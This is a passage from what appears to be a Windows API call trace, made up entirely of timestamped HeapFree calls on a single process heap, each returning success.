hHeap=0x420000) returned 1 [0163.091] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.092] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.202] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.208] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.212] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.215] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.223] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.234] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.238] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.242] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.245] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.248] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.393] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.627] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.630] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.632] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.634] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.635] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.637] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.638] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.640] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.641] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.643] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.659] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.659] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0163.659] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0163.707] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.841] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0163.843] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0163.846] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0163.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.497] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.498] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.500] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.501] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.503] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.505] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.514] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.517] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.519] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.520] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.522] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.523] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.884] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.886] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.888] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.893] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.897] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.899] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.903] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.907] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.909] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.912] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.914] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0164.916] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.428] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.430] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.432] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.434] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.435] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.437] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.439] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.440] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.442] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.444] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.445] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.447] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0165.454] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.458] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.460] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.838] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.844] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.852] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.852] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.856] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.860] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.863] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.867] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.871] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.874] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.877] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.881] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0165.884] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.116] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.122] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.127] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.130] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.139] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.143] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.147] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.156] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.393] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.398] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.404] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.410] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.415] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.530] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.533] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.533] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.533] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.533] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.533] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.533] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.533] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.536] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.536] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.537] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.538] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.540] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.541] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.543] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.544] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.544] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.548] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4150f98 | out: hHeap=0x420000) returned 1 [0166.548] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.554] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.559] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.564] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.570] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.578] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.612] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.618] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.624] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.644] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0166.815] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0167.037] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0167.037] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0167.037] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4130f88 | out: hHeap=0x420000) returned 1 [0167.049] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.053] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.053] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0167.056] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0167.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0167.065] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.065] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0167.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0167.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0167.078] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.078] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0167.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4120f98 | out: hHeap=0x420000) returned 1 [0167.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4120f98 | out: hHeap=0x420000) returned 1 [0167.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4120f98 | out: hHeap=0x420000) returned 1 [0167.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0167.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4120f98 | out: hHeap=0x420000) returned 1 [0167.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0167.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0167.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0167.421] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0167.431] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0167.432] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0167.438] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.444] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0167.445] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0167.445] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0167.445] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.452] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.452] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0167.460] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.461] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.461] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0167.827] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0168.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0168.104] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0168.107] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0168.387] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0168.947] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0169.443] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0170.452] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0170.606] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0171.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0171.476] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0171.606] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0171.630] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0171.653] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0171.653] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0171.660] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0173.017] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0173.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 